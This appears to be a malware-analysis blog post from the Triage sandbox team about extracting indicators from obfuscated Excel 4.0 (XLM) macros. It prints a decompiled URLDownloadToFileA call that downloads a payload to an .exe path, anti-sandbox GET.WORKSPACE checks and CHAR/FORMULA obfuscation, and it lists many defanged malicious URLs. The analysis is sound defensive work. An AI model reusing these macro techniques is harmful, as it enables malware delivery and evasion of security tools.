Introduction
Note: for those interested, yes, we’ve compiled a list of IOCs from a few thousand XLM Macro-enabled Microsoft Excel documents. These are listed at the end of the blogpost.
Over the last couple of years an alternative to Microsoft Office’s VBA macros has been increasingly gaining attention from malware authors looking to evade common detection methods. XLM macros - often referred to as Excel 4.0 macros - were the predecessor to VBA scripting in Office, available in early versions of the software up to Excel 4.0 (released in 1992). Subsequent versions no longer supported the creation of these macros, but continue to include the ability to execute them all the way up to current Office releases. 28 years on if a user opens a file containing them the scripts will still run, but many security products may not be looking for them, focusing instead on the more common VBA form.
Noticing this increase in activity, we have recently been working to implement extraction of IoCs from these XLM macros, and are pleased to say that this feature is now available on tria.ge.
(Another note: this blogpost doesn’t touch the payloads dropped by these XLM Macro documents, we’ll get back on that next week).
Background
Unlike VBA macros, XLM versions are not bundled with the file as a separate object - they are written directly in the spreadsheet cells, much like Excel formulas. There are a few different ways in which these macros are hidden from prying eyes, ranging from the low-tech - make the text color white and paste an image over the top of the cells - to the more advanced - manipulating metadata for a sheet in the workbook to hide it, requiring the modification of a hex value in the file to make it visible again.
These approaches are covered extensively in blogposts published by others, such as Inquest’s analysis of 2 samples from early 2020 or Xavier Mertens’ blog on a similar example, so we won’t cover the details again here. Instead, this blogpost aims to provide details on how we have approached automated extraction of these macros, and what information that makes available through Triage analyses. It will also include examples, to highlight the uses of the new feature.
For reference, the following blogposts/tweets provide further details on malicious XLM in addition to those mentioned above:
- https://clickallthethings.wordpress.com/2020/04/06/covid-19-excel-4-0-macros-and-sandbox-detection/
- https://twitter.com/Ledtech3/status/1246237826041229317
- https://twitter.com/JohnLaTwC/status/1245852289476096000
XLM Macros 101
We start with the sample from Xavier’s blogpost. This one is relatively straightforward: the macros are just there and there’s no obfuscation. You can even fetch the URLs straight from the binary by just looking at hexdump:
0a 00 00 ff 98 00 17 06 00 75 72 6c 6d 6f 6e 17 |.........urlmon.|
12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 |..URLDownloadToF|
69 6c 65 41 17 06 00 4a 4a 43 43 4a 4a 1e 00 00 |ileA...JJCCJJ...|
17 40 00 68 74 74 70 3a 2f 2f 73 61 6d 70 68 61 |.@.http://sampha|
6f 70 65 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 |opet.com/wp-cont|
65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 30 |ent/uploads/2020|
2f 30 32 2f 69 64 6c 65 2f 31 31 31 31 31 31 2e |/02/idle/111111.|
70 6e 67 17 1e 00 63 3a 5c 55 73 65 72 73 5c 50 |png...c:\Users\P|
75 62 6c 69 63 5c 61 73 64 32 61 73 66 66 33 32 |ublic\asd2asff32|
2e 65 78 65 1e 00 00 1e 00 00 42 08 96 00 06 00 |.exe......B.....|
cd 00 07 00 00 00 42 00 01 00 00 00 00 00 ff ff |......B.........|
In order to automatically and correctly extract the URLs, we wrote a Microsoft Excel Macro decompiler. The macro bytecode is a relatively straightforward stack machine. A snippet of the decompiled AST may look as follows:
formula.CallStmt{
Name: "CALL"
Args: [
"urlmon"
"URLDownloadToFileA"
"JJCCJJ"
0
"hxxp://samphaopet[.]com/wp-content/uploads/2020/02/idle/111111.png"
"c:\\Users\\Public\\asd2asff32.exe"
0
0
]
}
The list of extracted macros as well as extracted IOCs (URLs) can be found at the following analysis: https://tria.ge/reports/200409-4eb6rljnsx/static1
For the curious reader: yes, in the Triage analysis above we also took the time to translate the decompiled formulas back to a textual representation for easy inspection, so the formulas listed in this report are the human readable version of what’s in the Excel document ;-)
Webquery and anti-sandboxing
The first sample from the Inquest blogpost is actually using Webquery to fetch macros from a remote server through a simple HTTP request, which is also interesting. However, it also employs macros to perform anti-sandboxing by closing the Office application as can be seen here:
IF(GET.WORKSPACE(19),,CLOSE(TRUE))
IF(GET.WORKSPACE(42),,CLOSE(TRUE))
RETURN()
(It should be noted that GET.WORKSPACE(19)
returns true if and only if a
mouse is present and GET.WORKSPACE(42)
returns true if and only if sound can
be played on the computer).
Crafting Macros at Runtime
Of course XLM wouldn’t be a true scripting language if it weren’t for the
ability to create XLM macros at runtime using the FORMULA
method.
Below you’ll find a small snippet of the FORMULA method where its string
argument is being constructed dynamically through numerous concatenate
statements (each being something like "A" & "B"
).
formula.CallStmt{
Name: "FORMULA"
Args: [
formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: formula.ConcatStmt{
Left: Ref{0 16}
Right: Ref{2 16}
}
Right: Ref{3 16}
}
Right: Ref{4 16}
}
Right: Ref{5 16}
}
Right: Ref{6 16}
}
Right: Ref{8 16}
}
Right: Ref{9 16}
}
Right: Ref{10 16}
}
Right: Ref{11 16}
}
Right: Ref{12 16}
}
Right: Ref{13 16}
}
Right: Ref{14 16}
}
Ref{19 18}
]
}
(Mind you, this was basically the shortest FORMULA sequence we could find..)
Each Ref{Row Col}
entry is a reference to another cell, so the above
formula actually looks more like =FORMULA(Q1 & Q3 & Q4 & ...)
. Then, to make
things better, those cells don’t contain strings, but instead also contain
macros. In this example cell Q1 contains =CHAR(61)
which translates to the
"="
string (associated AST listed below).
formula.CallStmt{
Name: "CHAR"
Args: [
61
]
}
In the static analysis component of Triage we’ve essentially implemented a full deobfuscation layer on top of the macro decompiler, essentially optimizing away these obfuscation layers. Submitting the sample from the following tweet will therefore once again provide you with the related IOCs.
In fact, as can be seen in the analysis, Triage will provide the dynamically constructed macros too, allowing one to quickly inspect their overall behavior and identify potential anti-sandboxing techniques in use.
XLM Macros: Hardcore mode
Finally we move onto the last sample for today: https://tria.ge/reports/200409-vmw4mgq77e/static1
It’s similar to the sample discussed in this tweet.
For those reading carefully, you might notice that this time the CHAR argument is subtracting a number from a cell reference. In our AST this looks roughly as follows:
formula.CallStmt{
Name: "CHAR"
Args: [
formula.SubStmt{
Left: Ref{1704 121}
Right: 983
}
]
}
The XLM Macros in this document also have other interesting features like
recursive references and references through the XLM Macro RUN
method as well
as cells that have their value populated twice. Once by what Microsoft called
SST
(probably meaning sorted string table) and once by a regular integer
(which, of course, is stored internally as a floating point).
There are some other interesting “features” about these Excel documents and how their data is being stored, because Excel has a number of optimizations to reduce storage space, e.g., resulting in multiple cells with the same value being stored in a different manner than other data. Or formulas working on multiple cells. Or XLM Macros creating infinite loops through references. Or Excel featuring almost a dozen different ways to store strings depending on the data type that needs it, etc.. In other words: a joy to work on!
Excel related IOCs
We’ll be working on generating more IOCs related to XLM Macro-enabled documents both by active research from our side as well as from people submitting relevant samples to our public cloud.
For now we’ve compiled the following list of IOCs based on a couple thousand XLM Macro-enabled documents: https://hatching.io/static/files/xlm1.json
354 hxxps://rwtkoaqe[.]club/adfbr53g
289 hxxp://fcowhcwsb[.]space/erg4ewr1
262 hxxps://waitupdate[.]xyz/deg34g
181 hxxps://pxdgcvnsb[.]xyz/aaeg4df12
143 hxxps://veqejzkb[.]xyz/SDVe2f2fds
136 hxxps://merystol[.]xyz/6ng688x8
135 hxxps://cdncloudtech[.]xyz/deg34g
130 hxxps://emmnebuc[.]xyz/SDVJKBsdkhv1
127 hxxps://cdncloudtech[.]xyz/bag4hy
122 hxxps://doolised[.]xyz/DSBVhsdv78f
119 hxxps://pnxkntdl[.]xyz/KJSDBViad7
111 hxxp://wrjmkdod[.]xyz/KDHBVsd7v8
99 hxxps://fbknuele[.]pw/ajt1eg4fh3a
93 hxxps://paxtontranter[.]xyz/rv24t2
91 hxxps://amberlessard[.]xyz/brg2sv
89 hxxps://tdvomds[.]pw/12341324rfefv
89 hxxps://fbknuele[.]pw/aagaeg4df12
72 hxxps://merystol[.]xyz/DVkjbsdv37
71 hxxps://cworld[.]top/wp-front.php
71 hxxps://assemble[.]sg/wp-front.php
69 hxxps://tozcftdl[.]xyz/SDVjkhb7831r
65 hxxps://wrjmkdod[.]xyz/SDFwef2fvbbe
65 hxxps://pnxkntdl[.]xyz/KDSBVksdhv778a
61 hxxps://efbzfyvsb[.]website/f2f23
60 hxxps://ddfspwxrb[.]club/fb2g424g
58 hxxps://amgdorie[.]online/avdv43g
55 hxxps://rosannahtacey[.]xyz/vg43
54 hxxps://hxzfvomd[.]buzz/asf2f1ff
52 hxxps://ethelenecrace[.]xyz/fbb3
51 hxxps://emmnebuc[.]xyz/vbdh72F
50 hxxps://pjtcdnrd[.]pw/ckjbvkf732
49 hxxps://pxdgcvnsb[.]xyz/ajt1eg4fh
49 hxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
47 hxxp://tubolso[.]cl/wp-content/uploads/2020/02/white/444444.png
47 hxxp://murreeweather[.]com/wp-content/white/444444.png
47 hxxp://freespacemarketing[.]com/wp-content/uploads/2020/02/white/444444.png
47 hxxp://batilservice[.]xyz/wp-content/uploads/2020/02/white/444444.png
45 hxxps://tdvomds[.]pw/fgwg24g24g
42 hxxps://amgdorie[.]online/avdv42g
42 hxxp://kacper-formela[.]pl/wp-smart.php
42 hxxp://braeswoodfarmersmarket[.]com/wp-smart.php
36 hxxps://uenoeakd[.]site/grwrg24g2g
34 hxxps://emmnebuc[.]xyz/DSKVJBdsj2
29 hxxp://209[.]141.54.161/crypt.dl
26 hxxp://uniluisgpaez[.]edu.co/wp-content/uploads/2020/02/idle/444444.png
26 hxxps://wgyafqtc[.]online/fgwg24g24g
26 hxxp://samphaopet[.]com/wp-content/uploads/2020/02/idle/111111.png
26 hxxp://icietdemain[.]fr/contents/2020/02/idle/222222.png
26 hxxp://careers[.]sorint.it/idle/33333.png
21 hxxps://narensyndicate[.]com/wp-crun.php
21 hxxps://greentec-automation[.]com/wp-crun.php
14 hxxps://studyshine[.]in/wp-cryn.php
14 hxxps://arturkauf[.]pl/wp-cryn.php
14 hxxp://march262020[.]club/files/bot.dl
14 hxxp://lorrainehomeconsulting[.]com/wp-content/uploads/2020/02/trusty/187213.png
14 hxxp://g2creditsolutions[.]com/trusty/444444.png
12 hxxps://tdvomds[.]pw/1451345341fff
9 hxxps://orruucsl[.]xyz/fdgareg34g
7 hxxps://narensyndicate[.]com/wp-cran.php
7 hxxps://greentec-automation[.]com/wp-cran.php
7 hxxp://gengrasjeepram[.]com/sv.exe
5 hxxps://wrjmkdod[.]xyz/vdjfvfs7871f
5 hxxps://doolised[.]xyz/SDVJbsldkcvg1
4 hxxps://gartnerkvartalet[.]no/wp-content/themes/calliope/wp-front.php
4 hxxps://assemble[.]sg/wp-frunt.php
3 hxxps://doolised[.]xyz/test
3 hxxp://209[.]141.54.161/files/crypt.dl
2 hxxps://wgyafqtc[.]online/sgfbsb4
1 hxxps://nonnewspaper[.]com/bot.dl
1 hxxps://merystol[.]xyz/qY3DRY3N
1 hxxps://grpxmqnrb[.]pw/ehrj4g9g
1 hxxp://fikima[.]com/axel.ex
1 hxxp://fibercemper[.]com/wild.ex
1 hxxp://209[.]141.54.161/crypt18.dl
This list contains the following IOCs as well as all related sample hashes, XLM Macros, and Webquery IOCs.
Conclusion
Sign up to Triage today and analyze XLM Macro files and many more file types and malware families the rest of the year.
Last but not least, in the future we’re also looking to provide access for our users to the AST that’s generated such that new obfuscation techniques can be studied not only by our team, but also by our users!
We hope you enjoyed this blogpost and stay tuned for more :-)